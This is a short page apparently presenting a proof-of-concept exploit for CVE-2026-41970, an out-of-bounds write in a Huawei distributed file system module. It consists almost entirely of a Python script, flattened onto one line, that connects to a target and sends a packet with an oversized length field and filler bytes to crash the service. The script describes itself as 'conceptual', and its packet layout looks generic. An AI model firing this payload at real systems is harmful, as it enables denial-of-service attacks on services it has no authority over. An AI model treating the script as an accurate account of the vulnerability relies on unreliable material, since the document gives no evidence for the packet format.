CVE-2026-41970 华为分布式文件系统越界写入漏洞

import socket import struct # Conceptual Proof of Concept (PoC) for CVE-2026-41970 # Target: Huawei Distributed File System Module # Description: This script attempts to trigger an out-of-bounds write # by sending a malformed packet to the vulnerable service. def trigger_vulnerability(target_ip, target_port): try: # Establish TCP connection to the target service print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct malicious packet # Header: Normal operation code (e.g., 0x01 for Write Request) # Length field: Set to an unusually large value to bypass checks # Payload: Junk data to overflow the buffer operation_code = 0x01 malicious_length = 0xFFFFFFFF # Max 32-bit integer to trigger logic error padding = b"A" * 1024 # Data to be written out of bounds # Pack the header (Big-endian) header = struct.pack(">HI", operation_code, malicious_length) full_payload = header + padding print("[*] Sending malicious payload...") s.send(full_payload) # Wait for response or timeout (Service might crash) response = s.recv(1024) print("[+] Received response (might indicate failure to trigger or service still running)") except socket.timeout: print("[!] Connection timed out. Service may have crashed (DoS triggered).") except ConnectionResetError: print("[!] Connection reset by peer. Service likely crashed.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() # Usage Example (Uncomment to test) # trigger_vulnerability("192.168.1.100", 8888)